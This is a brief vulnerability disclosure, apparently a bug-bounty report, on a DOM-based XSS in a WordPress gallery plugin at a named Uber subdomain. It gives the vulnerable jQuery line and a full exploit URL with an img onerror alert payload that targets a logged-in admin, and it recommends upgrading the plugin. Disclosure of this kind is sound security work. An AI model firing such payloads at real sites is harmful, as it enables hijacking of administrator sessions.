DOM based XSS on

How it was found

Possible Remote code execution DOM based XSS

Vuln Jquery param : var strliID=jQuery(location).attr('hash');

Target: Logged admin Go url >> https://drive.uber.com/melbourne/wp-admin/admin.php?page=Options_gallery_styles#"><img src=M onerror=alert('0wn3d');>

Solution : Upgrade latest version gallery plugin (Your version v1.9.55)

Test my localhost picture attached:

Regards..